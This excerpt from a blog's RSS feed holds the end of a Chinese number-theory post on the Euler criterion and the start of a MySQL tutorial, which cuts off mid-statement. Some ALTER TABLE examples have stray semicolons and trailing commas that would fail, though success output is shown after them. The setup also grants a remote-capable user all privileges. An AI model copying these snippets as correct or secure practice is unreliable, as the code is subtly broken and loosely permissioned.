\varphi : (\mathbb Z / p \mathbb Z)^\times &amp;amp;\rightarrow \mathbb{QR}_p \
[a]_p &amp;amp;\mapsto [a^2]_p
\end{aligned}
$$
是群同态，观察得知 $\ker \varphi = {1, p - 1}$，根据群的&lt;strong&gt;同态基本定理 (第一同构定理)&lt;/strong&gt;，
$$
\begin{aligned}
(\mathbb Z / p \mathbb Z)^\times \ge \mathbb{QR}_p &amp;amp;\cong (\mathbb Z / p \mathbb Z)^\times / \ker \varphi \
|\mathbb{QR}_p| &amp;amp;= \dfrac{|(\mathbb Z / p \mathbb Z)^\times|}{|\ker \varphi|} = \dfrac{p - 1}{2}
\end{aligned}
$$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::note[Euler 准则]
设素数 $p &amp;gt; 2$，$a \in \mathbb Z$，$p \nmid a$．&lt;/p&gt;
&lt;p&gt;判断 $a$ 是否为 $\mathbf{QR}$，相当于观察 $(\frac{a}{p})$ 的值，但它无法被直接计算，所以需要我们去构造有关 $a$ 和 $p$ 的式子去得到正确的 $(\frac{a}{p})$．注意到值域是 ${\pm 1}$，我们联想到 $1$ 的平方根，所以先去找到模 $p$ 等于 $1$、有关 $a$ 和 $p$ 的式子，这又让我们联想到 Fermat 小定理
$$
a^{p-1} \equiv 1 \pmod p
$$
注意到 $p - 1$ 是偶数，不难得到平方根
$$
a^{(p-1)/2} \equiv \pm 1 \pmod p
$$
可将其作为 $(\frac{a}{p})$ 的计算式
$$
\Big(\frac{a}{p}\Big) \equiv a^{(p-1)/2} \pmod p
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们人为构造了
$$
\begin{aligned}
\phi: (\mathbb Z / p \mathbb Z)^\times &amp;amp;\rightarrow (\mathbb Z / p \mathbb Z)^\times \
[a]_p &amp;amp;\mapsto [a^{(p-1)/2}]_p
\end{aligned}
$$
Euler 准则就是 $\ker \phi = \ker \psi$．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip[证明]
当 $(\frac{a}{p}) = 1$ 时，即 $\exists, x \in \mathbb Z, x^2 \equiv a \pmod p$，此时
$$
a^{(p-1)/2} \equiv (x^2)^{(p-1)/2} = x^{p-1} \pmod p
$$
是否有 $p \nmid x$？结论是肯定的：如若 $p \mid x$，由 $x^2 \equiv a \pmod p$ 得到 $p \mid (x + a)(x - a)$，又由 $p$ 的素性，必有 $p \mid (x + a)$ 或 $p \mid (x - a)$，两者皆会导出 $p \mid a$ 的矛盾．因此由 Fermat 小定理可得
$$
a^{(p-1)/2} \equiv 1 \pmod p
$$
当 $(\frac{a}{p}) = -1$ 时，即 $\nexists, x \in \mathbb Z, x^2 \equiv a \pmod p$，任取 $c \in \mathbb Z_p^&lt;em&gt;$，考查线性同余方程
$$
cx \equiv a \pmod p
$$
由于 $c \perp p$，方程在模 $p$ 意义下有唯一解，且必有 $x \not\equiv c \pmod p$，否则与 $a$ 是 $\mathbf{QNR}$ 矛盾．因此在 $\mathbb Z_p^&lt;/em&gt;$ 内，乘积与 $a$ 模 $p$ 同余的数两两配对，一共有 $(p - 1) / 2$ 条同余式．因此
$$
(p - 1)! \equiv a^{(p-1)/2} \equiv -1 \pmod p
$$
:::&lt;/p&gt;
&lt;p&gt;:::important[小试牛刀]
素数 $p &amp;gt; 2$，探究
$$
x^2 \equiv -1 \pmod p
$$
先看何时有解，我们运用 Euler 准则
$$
\Big(\dfrac{-1}{p}\Big) \equiv (-1)^{(p-1)/2} \pmod p
$$
对 $(p-1)/2 \in \mathbb Z$ 分类讨论：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;当 $(p-1)/2 \equiv 0 \pmod 2$，即 $p \equiv 1 \pmod 4$ 时，$(\frac{-1}{p}) = 1$，方程有解．&lt;/li&gt;
&lt;li&gt;当 $(p-1)/2 \equiv 1 \pmod 2$，即 $p \equiv 3 \pmod 4$ 时，$(\frac{-1}{p}) = -1$，方程无解．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;若方程有解，试求之．容易联想到 Wilson 定理
$$
(p - 1)! \equiv -1 \pmod p
$$
考虑将左式凑成平方的形式，而且我们知道 $\mathbf{QR}$ 对称分布的特性
$$
\begin{aligned}
(p - 1)! &amp;amp;\equiv \Big(\dfrac{p-1}{2}\Big)! (-1)^{(p-1)/2} \Big(\dfrac{p-1}{2}\Big)! \
&amp;amp;\equiv \Big(\Big(\dfrac{p-1}{2}\Big)!\Big)^2 \
&amp;amp;\equiv -1 \pmod p
\end{aligned}
$$
因此
$$
x \equiv \pm \Big(\dfrac{p-1}{2}\Big)! \pmod p
$$
:::&lt;/p&gt;
</content:encoded></item><item><title>SQL 快速拾遗</title><link>https://fuwari.vercel.app/posts/lang/sql/sql/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/lang/sql/sql/</guid><description>Learn SQL in Y minutes</description><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;SQL&lt;/h1&gt;
&lt;h2&gt;🛠 Quick Start&lt;/h2&gt;
&lt;p&gt;By the way, I use Arch Linux. 🤓&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -Syu
sudo pacman -S mysql
sudo mysqld --initialize --user=mysql --basedir=/usr --datadir=/var/lib/mysql
sudo systemctl start mysqld.service
sudo systemctl status mysqld.service
sudo systemctl enable mysqld.service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning
&lt;code&gt;mysqld&lt;/code&gt; 的时候要留意，输出的内容含有 &lt;code&gt;root&lt;/code&gt; 用户的默认密码．&lt;/p&gt;
&lt;p&gt;别 &lt;code&gt;clear&lt;/code&gt; 把密码吃了，小馋猫 😋
:::&lt;/p&gt;
&lt;p&gt;:::tip
不想用图形界面的话，&lt;code&gt;mycli&lt;/code&gt; 可以提供语法高亮和命令补全．&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;dbcli/mycli&quot;}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yay -S mycli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;登录 &lt;code&gt;root&lt;/code&gt; 账户，修改密码．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -u root -p [-h localhost -P 3306]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ALTER USER &apos;root&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;xxxxxx&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;「与其登录一个 &lt;code&gt;root&lt;/code&gt;，不如创造一个 &lt;code&gt;root&lt;/code&gt; 😁」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;CREATE USER &apos;nisemono&apos;@&apos;%&apos; IDENTIFIED BY &apos;yyyyyy&apos;;
GRANT ALL PRIVILEGES ON *.* TO &apos;nisemono&apos;@&apos;%&apos; WITH GRANT OPTION;
EXIT;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mysql -u nisemono -p [-h localhost -P 3306]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;✨ Examples&lt;/h2&gt;
&lt;h3&gt;展示&lt;/h3&gt;
&lt;p&gt;假设现在我的数据库情况是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHOW DATABASES;
USE study_sql;
SHOW TABLES;
SELECT * FROM hello;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| study_sql          |
| sys                |
+--------------------+

5 rows in set
Time: 0.002s

You are now connected to database &quot;shy_db&quot; as user &quot;nisemono&quot;
Time: 0.000s

+---------------------+
| Tables_in_study_sql |
+---------------------+
| hello               |
+---------------------+

1 row in set
Time: 0.004s

+----+-----------+------------+-----+--------+
| id | user_name | real_name  | age | gender |
+----+-----------+------------+-----+--------+
| 1  | nisemono  | shy-vector | 20  | 女     |
| 2  | ASTERIAX  | asteriax   | 21  | 男     |
+----+-----------+------------+-----+--------+

2 rows in set
Time: 0.003s
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;database&lt;/code&gt; 和 &lt;code&gt;table&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;我想把 &lt;code&gt;study_sql&lt;/code&gt; 这个数据库名称改成 &lt;code&gt;shy_db&lt;/code&gt;．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE DATABASE IF NOT EXISTS shy_db;
EXIT;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mysqldump -u root -p -h localhost -P 3306 --set-gtid-purged=OFF study_sql &amp;gt; /tmp/study_sql_backup.sql
mysql -u root -p -h localhost -P 3306 shy_db &amp;lt; /tmp/study_sql_backup.sql
mysql -u nisemono -p -h localhost -P 3306
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;DROP DATABASE IF EXISTS study_sql;
SHOW DATABASES;
USE shy_db;
SHOW TABLES;
SELECT * FROM hello;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;You&apos;re about to run a destructive command.
Do you want to proceed? (y/n): y
Your call!
Query OK, 1 row affected
Time: 0.042s

+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| shy_db             |
| sys                |
+--------------------+

5 rows in set
Time: 0.003s

You are now connected to database &quot;shy_db&quot; as user &quot;nisemono&quot;
Time: 0.000s

+------------------+
| Tables_in_shy_db |
+------------------+
| hello            |
+------------------+

1 row in set
Time: 0.004s

+----+-----------+------------+-----+--------+
| id | user_name | real_name  | age | gender |
+----+-----------+------------+-----+--------+
| 1  | nisemono  | shy-vector | 20  | 女     |
| 2  | ASTERIAX  | asteriax   | 21  | 男     |
+----+-----------+------------+-----+--------+

2 rows in set
Time: 0.002s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;与此同时，我又想把表名 &lt;code&gt;hello&lt;/code&gt; 改成 &lt;code&gt;hello_tb&lt;/code&gt;．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RENAME TABLE hello TO hello_tb;
SHOW TABLES;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Query OK, 0 rows affected
Time: 0.031s

+------------------+
| Tables_in_shy_db |
+------------------+
| hello_tb         |
+------------------+

1 row in set
Time: 0.002s
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字段&lt;/h3&gt;
&lt;p&gt;新建表 &lt;code&gt;user_tb&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS user_tb (
    id INT PRIMARY KEY AUTO_INCREMENT COMMENT &apos;编号(主键,唯一,自增)&apos;,
    user_name VARCHAR(30) NOT null UNIQUE COMMENT &apos;用户名(非空,唯一)&apos;,
    create_time DATETIME NOT null DEFAULT CURRENT_TIMESTAMP COMMENT &apos;创建时间(非空,默认为当前时间戳)&apos;,
    update_time DATETIME NOT null DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT &apos;最近修改时间&apos;,
    real_name VARCHAR(20) NOT null COMMENT &apos;姓名(非空)&apos;,
    real_id CHAR(18) NOT null UNIQUE COMMENT &apos;身份证号(非空,18字符,唯一)&apos;,
    age TINYINT UNSIGNED COMMENT &apos;年龄(非负)&apos;,
    gender TINYINT UNSIGNED COMMENT &apos;性别(0:男,1:女)&apos;,
    birthday DATE COMMENT &apos;生日&apos;
) COMMENT &apos;用户列表&apos;;

DESC user_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+-------------+------------------+------+-----+-------------------+-----------------------------------------------+
| Field       | Type             | Null | Key | Default           | Extra                                         |
+-------------+------------------+------+-----+-------------------+-----------------------------------------------+
| id          | int              | NO   | PRI | &amp;lt;null&amp;gt;            | auto_increment                                |
| user_name   | varchar(30)      | NO   | UNI | &amp;lt;null&amp;gt;            |                                               |
| create_time | datetime         | NO   |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED                             |
| update_time | datetime         | NO   |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED on update CURRENT_TIMESTAMP |
| real_name   | varchar(20)      | NO   |     | &amp;lt;null&amp;gt;            |                                               |
| real_id     | char(18)         | NO   | UNI | &amp;lt;null&amp;gt;            |                                               |
| age         | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;            |                                               |
| gender      | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;            |                                               |
| birthday    | date             | YES  |     | &amp;lt;null&amp;gt;            |                                               |
+-------------+------------------+------+-----+-------------------+-----------------------------------------------+

9 rows in set
Time: 0.005s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改字段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE user_tb
    DROP COLUMN age,
    DROP COLUMN birthday;
    ADD COLUMN deadline DATETIME AFTER update_time,
    ADD COLUMN qq VARCHAR(20) COMMENT &apos;QQ号码&apos;,
    ADD COLUMN tt INT,
    CHANGE COLUMN real_id id_card VARCHAR(18) COMMENT &apos;身份证号码&apos;;

    -- ADD COLUMN ss FLOAT AFTER tt,    -- `tt` not exists before exec.
    -- MODIFY COLUMN deadline ...,      -- `deadline` not exists before exec.
    -- CHANGE COLUMN tt wx ...;         -- `tt` not exists before exec.

ALTER TABLE user_tb
    MODIFY COLUMN deadline
        DATETIME NOT null DEFAULT &apos;1970-01-01 00:00:00&apos; COMMENT &apos;截止日期&apos;,
    MODIFY COLUMN qq
        VARCHAR(13) UNIQUE COMMENT &apos;QQ号&apos;,
    CHANGE COLUMN tt
        wx VARCHAR(25) UNIQUE COMMENT &apos;WX号&apos;;

DESC user_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+-------------+------------------+------+-----+---------------------+-----------------------------------------------+
| Field       | Type             | Null | Key | Default             | Extra                                         |
+-------------+------------------+------+-----+---------------------+-----------------------------------------------+
| id          | int              | NO   | PRI | &amp;lt;null&amp;gt;              | auto_increment                                |
| user_name   | varchar(30)      | NO   | UNI | &amp;lt;null&amp;gt;              |                                               |
| create_time | datetime         | NO   |     | CURRENT_TIMESTAMP   | DEFAULT_GENERATED                             |
| update_time | datetime         | NO   |     | CURRENT_TIMESTAMP   | DEFAULT_GENERATED on update CURRENT_TIMESTAMP |
| deadline    | datetime         | NO   |     | 1970-01-01 00:00:00 |                                               |
| real_name   | varchar(20)      | NO   |     | &amp;lt;null&amp;gt;              |                                               |
| id_card     | varchar(18)      | YES  | UNI | &amp;lt;null&amp;gt;              |                                               |
| gender      | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;              |                                               |
| qq          | varchar(13)      | YES  | UNI | &amp;lt;null&amp;gt;              |                                               |
| wx          | varchar(25)      | YES  | UNI | &amp;lt;null&amp;gt;              |                                               |
+-------------+------------------+------+-----+---------------------+-----------------------------------------------+

10 rows in set
Time: 0.004s
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;增删改并&lt;/h3&gt;
&lt;p&gt;添加初始数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT INTO user_tb
    (user_name, real_name, id_card, gender, wx)
VALUES
    (&apos;nisemono&apos;, &apos;张三&apos;, &apos;123456789123456789&apos;, 0, &apos;wx_qwerty&apos;),
    (&apos;shy-vector&apos;, &apos;李四&apos;, &apos;987654321987654321&apos;, 1, &apos;shy_vector&apos;);

SELECT * FROM user_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+----+------------+---------------------+---------------------+---------------------+-----------+--------------------+--------+--------+------------+
| id | user_name  | create_time         | update_time         | deadline            | real_name | id_card            | gender | qq     | wx         |
+----+------------+---------------------+---------------------+---------------------+-----------+--------------------+--------+--------+------------+
| 1  | nisemono   | 2026-01-25 20:06:34 | 2026-01-25 20:06:34 | 1970-01-01 00:00:00 | 张三      | 123456789123456789 | 0      | &amp;lt;null&amp;gt; | wx_qwerty  |
| 2  | shy-vector | 2026-01-25 20:06:34 | 2026-01-25 20:06:34 | 1970-01-01 00:00:00 | 李四      | 987654321987654321 | 1      | &amp;lt;null&amp;gt; | shy_vector |
+----+------------+---------------------+---------------------+---------------------+-----------+--------------------+--------+--------+------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建另一张表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS user2_tb AS SELECT * FROM user_tb;
SELECT * FROM user2_tb;

UPDATE user2_tb
SET
    user_name = &apos;ice&apos;,
    create_time = NOW(),
    update_time = NOW(),
    deadline = NOW() + INTERVAL 2 MONTH,
    real_name = &apos;王五&apos;,
    id_card = &apos;1234xxxxx1234xxxxx&apos;,
    qq = &apos;0D000721&apos;,
    wx = null
WHERE id % 2 = 1;

UPDATE user2_tb
SET
    user_name = &apos;aha&apos;,
    create_time = NOW(),
    update_time = NOW(),
    deadline = NOW() + INTERVAL 2 MONTH,
    real_name = &apos;赵六&apos;,
    id_card = &apos;5678xxxxx5678xxxxx&apos;,
    qq = &apos;1145141919&apos;,
    wx = null
WHERE id % 2 = 0;

SELECT * FROM user2_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user2_tb
+----+-----------+---------------------+---------------------+---------------------+-----------+--------------------+--------+------------+--------+
| id | user_name | create_time         | update_time         | deadline            | real_name | id_card            | gender | qq         | wx     |
+----+-----------+---------------------+---------------------+---------------------+-----------+--------------------+--------+------------+--------+
| 1  | ice       | 2026-01-25 20:39:45 | 2026-01-25 20:39:45 | 2026-03-25 20:39:45 | 王五      | 1234xxxxx1234xxxxx | 0      | 0D000721   | &amp;lt;null&amp;gt; |
| 2  | aha       | 2026-01-25 20:42:10 | 2026-01-25 20:42:10 | 2026-03-25 20:42:10 | 赵六      | 5678xxxxx5678xxxxx | 1      | 1145141919 | &amp;lt;null&amp;gt; |
+----+-----------+---------------------+---------------------+---------------------+-----------+--------------------+--------+------------+--------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning
这里直接使用了 &lt;code&gt;CREATE TABLE tb1 AS SELECT * FROM tb2&lt;/code&gt; 后，字段类型保留，但&lt;strong&gt;约束丢失&lt;/strong&gt;．
应该使用 &lt;code&gt;CREATE TABLE tb1(...) AS SELECT * FROM tb2&lt;/code&gt;，手动确定约束．
经测试，从 &lt;code&gt;FLOAT(3,2)&lt;/code&gt; 到 &lt;code&gt;DOUBLE&lt;/code&gt; 的精度损失情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;9.99 -&amp;gt; 9.989999771118164
1.23 -&amp;gt; 1.2300000190734863
1.0  -&amp;gt; 1.0
1.78 -&amp;gt; 1.7799999713897705
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;纵向合并&lt;/strong&gt;两表，相当于批量插入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT IGNORE INTO user_tb
    (user_name, create_time, update_time, deadline, real_name, id_card, gender, qq, wx)
SELECT
    user_name, create_time, update_time, deadline, real_name, id_card, gender, qq, wx
FROM user2_tb;

SELECT * FROM user_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+----+------------+---------------------+---------------------+---------------------+-----------+--------------------+--------+------------+------------+
| id | user_name  | create_time         | update_time         | deadline            | real_name | id_card            | gender | qq         | wx         |
+----+------------+---------------------+---------------------+---------------------+-----------+--------------------+--------+------------+------------+
| 1  | nisemono   | 2026-01-25 20:06:34 | 2026-01-25 20:06:34 | 1970-01-01 00:00:00 | 张三      | 123456789123456789 | 0      | &amp;lt;null&amp;gt;     | wx_qwerty  |
| 2  | shy-vector | 2026-01-25 20:06:34 | 2026-01-25 20:06:34 | 1970-01-01 00:00:00 | 李四      | 987654321987654321 | 1      | &amp;lt;null&amp;gt;     | shy_vector |
| 3  | ice        | 2026-01-25 20:39:45 | 2026-01-25 20:39:45 | 2026-03-25 20:39:45 | 王五      | 1234xxxxx1234xxxxx | 0      | 0D000721   | &amp;lt;null&amp;gt;     |
| 4  | aha        | 2026-01-25 20:42:10 | 2026-01-25 20:42:10 | 2026-03-25 20:42:10 | 赵六      | 5678xxxxx5678xxxxx | 1      | 1145141919 | &amp;lt;null&amp;gt;     |
+----+------------+---------------------+---------------------+---------------------+-----------+--------------------+--------+------------+------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;小插曲：由于 &lt;code&gt;qq&lt;/code&gt; 和 &lt;code&gt;wx&lt;/code&gt; 有 &lt;code&gt;UNIQUE&lt;/code&gt; 约束，下面的更新失败&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE user_tb
SET wx = &apos;AAAAAAAAA&apos;, qq = &apos;BBBBBB&apos;
WHERE id &amp;gt; 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;(1062, &quot;Duplicate entry &apos;BBBBBB&apos; for key &apos;user_tb.qq&apos;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果执行 &lt;code&gt;INSERT&lt;/code&gt; 但最终回滚（比如主键冲突、唯一键冲突），计数器 &lt;code&gt;AUTO_INCREMENT&lt;/code&gt; 仍会自增，导致 &lt;code&gt;user_tb&lt;/code&gt; 后面的 &lt;code&gt;id&lt;/code&gt; 跳号．&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;DELETE&lt;/code&gt; 不会使计数器清零．&lt;/li&gt;
&lt;li&gt;除此之外也有很多隐性消耗导致跳号，比如批量插入的自增 ID 预分配．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;自增 ID 的设计目标是保证&lt;strong&gt;唯一性&lt;/strong&gt;，而非连续性，所以无法完全避免跳号．
:::&lt;/p&gt;
&lt;p&gt;:::tip[&lt;code&gt;INSERT&lt;/code&gt;-like 语句]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;simple insert&lt;/strong&gt;: 如 &lt;code&gt;INSERT INTO tb () VALUES ()&lt;/code&gt;，可预先确定插入行数．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;bulk insert&lt;/strong&gt;: 如 &lt;code&gt;INSERT INTO tb SELECT ... FROM ...&lt;/code&gt;、&lt;code&gt;LOAD data&lt;/code&gt;，插入行数（需要申请的自增值数目）不可预期．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mixed-mode insert&lt;/strong&gt;: 如 &lt;code&gt;INSERT INTO tb (id,name) VALUES (1,&apos;a&apos;), (NULL,&apos;b&apos;), (5,&apos;c&apos;), (NULL,&apos;d&apos;);&lt;/code&gt; 自增值被指定．
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip[&lt;code&gt;innodb_autoinc_lock_mode&lt;/code&gt;]
&lt;code&gt;innodb_autoinc_lock_mode&lt;/code&gt; 是 MySQL InnoDB 存储引擎的一个系统变量，它控制着自增（&lt;code&gt;AUTO_INCREMENT&lt;/code&gt;）值的锁定机制．这个设置对于高并发的数据库操作，特别是插入（&lt;code&gt;INSERT&lt;/code&gt;）操作，有着显著的性能影响．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt;，传统锁模式．整个表 &lt;code&gt;auto_inc&lt;/code&gt; 的锁在同一时刻只会被一个 &lt;code&gt;INSERT&lt;/code&gt;-like 语句持有，直至语句结束．保证自增值连续．&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt;，连续锁模式．对于 simple insert，持有相应数量的自增值互斥锁来避免使用表锁，这个锁仅在分配过程中持有，不会持续到语句结束，可以保证自增值的连续．对于 bulk insert 仍然使用表锁（源表使用共享锁，目标表使用自增锁）．mixed-mode insert 会分配数量多于所需的自增锁，自动分配，过量舍弃．&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2&lt;/code&gt;，交叉锁模式（MySQL 8.0+ 默认）．不会使用表锁，并发性良好．&lt;strong&gt;单个 simple insert 语句生成的自增值连续，bulk insert 则无法保证．&lt;/strong&gt;
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;重新调整表格字段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE user_tb
    DROP COLUMN update_time,
    DROP COLUMN deadline,
    DROP COLUMN id_card;

ALTER TABLE user2_tb
    -- 补上约束
    MODIFY COLUMN id INT PRIMARY KEY AUTO_INCREMENT,
    MODIFY COLUMN user_name VARCHAR(30) NOT null UNIQUE;
    DROP COLUMN create_time,
    DROP COLUMN update_time,
    DROP COLUMN deadline,
    DROP COLUMN real_name,
    DROP COLUMN id_card,
    DROP COLUMN gender,
    DROP COLUMN qq,
    DROP COLUMN wx,
    ADD COLUMN height DECIMAL(5,2),
    ADD COLUMN weight DOUBLE(6,3),
    ADD COLUMN rating FLOAT(3,2),

DESC user_tb;
DESC user2_tb; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+-------------+------------------+------+-----+-------------------+-------------------+
| Field       | Type             | Null | Key | Default           | Extra             |
+-------------+------------------+------+-----+-------------------+-------------------+
| id          | int              | NO   | PRI | &amp;lt;null&amp;gt;            | auto_increment    |
| user_name   | varchar(30)      | NO   | UNI | &amp;lt;null&amp;gt;            |                   |
| create_time | datetime         | NO   |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED |
| real_name   | varchar(20)      | NO   |     | &amp;lt;null&amp;gt;            |                   |
| gender      | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;            |                   |
| qq          | varchar(13)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
| wx          | varchar(25)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
+-------------+------------------+------+-----+-------------------+-------------------+

user2_tb
+-----------+--------------+------+-----+---------+----------------+
| Field     | Type         | Null | Key | Default | Extra          |
+-----------+--------------+------+-----+---------+----------------+
| id        | int          | NO   | PRI | &amp;lt;null&amp;gt;  | auto_increment |
| user_name | varchar(30)  | NO   | UNI | &amp;lt;null&amp;gt;  |                |
| height    | decimal(5,2) | YES  |     | &amp;lt;null&amp;gt;  |                |
| weight    | double(6,3)  | YES  |     | &amp;lt;null&amp;gt;  |                |
| rating    | float(3,2)   | YES  |     | &amp;lt;null&amp;gt;  |                |
+-----------+--------------+------+-----+---------+----------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+---------+------+------------------------------------------------------------------------------------------------------------------+
| Level   | Code | Message                                                                                                          |
+---------+------+------------------------------------------------------------------------------------------------------------------+
| Warning | 1681 | Specifying number of digits for floating point data types is deprecated and will be removed in a future release. |
| Warning | 1681 | Specifying number of digits for floating point data types is deprecated and will be removed in a future release. |
+---------+------+------------------------------------------------------------------------------------------------------------------+

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT INTO user_tb
    (user_name, real_name, gender, qq, wx)
VALUES
    (&apos;tourist&apos;, &apos;孙七&apos;, 0, &apos;810114514&apos;, &apos;wx_TOURIST&apos;);


INSERT INTO user2_tb
    (user_name, height, weight, rating)
VALUES
    (&apos;nisemono&apos;, 1.77, 60, 1.00),
    (&apos;Not Found&apos;, 1.63, 53, 0.83),
    (&apos;ice&apos;, 1.75, 62, 1.23),
    (&apos;tourist&apos;, 1.80, 68.2, 1.78);

SELECT * FROM user_tb;
SELECT * FROM user2_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+----+------------+---------------------+-----------+--------+------------+------------+
| id | user_name  | create_time         | real_name | gender | qq         | wx         |
+----+------------+---------------------+-----------+--------+------------+------------+
| 1  | nisemono   | 2026-01-25 20:06:34 | 张三      | 0      | &amp;lt;null&amp;gt;     | wx_qwerty  |
| 2  | shy-vector | 2026-01-25 20:06:34 | 李四      | 1      | &amp;lt;null&amp;gt;     | shy_vector |
| 3  | ice        | 2026-01-25 20:39:45 | 王五      | 0      | 0D000721   | &amp;lt;null&amp;gt;     |
| 4  | aha        | 2026-01-25 20:42:10 | 赵六      | 1      | 1145141919 | &amp;lt;null&amp;gt;     |
| 6  | tourist    | 2026-01-25 21:56:24 | 孙七      | 0      | 810114514  | wx_TOURIST |
+----+------------+---------------------+-----------+--------+------------+------------+
  ⬆ 跳号（前面 INSERT 失败回滚过一次）

user2_tb
+----+-----------+--------+--------+--------+
| id | user_name | height | weight | rating |
+----+-----------+--------+--------+--------+
| 1  | nisemono  | 1.77   | 60.0   | 1.0    |
| 2  | Not Found | 1.63   | 53.0   | 0.83   |
| 3  | ice       | 1.75   | 62.0   | 1.23   |
| 4  | tourist   | 1.80   | 68.2   | 1.78   |
+----+-----------+--------+--------+--------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我想让这两张表&lt;strong&gt;横向合并&lt;/strong&gt;至新的表．先创建新表．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE user3_tb (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_name VARCHAR(30) NOT null UNIQUE,
    real_name VARCHAR(20) NOT null,
    gender TINYINT UNSIGNED,
    height DECIMAL(5,2),
    weight DOUBLE(6,3),
    rating FLOAT(3,2),
    qq VARCHAR(13) UNIQUE,
    wx VARCHAR(25) UNIQUE,
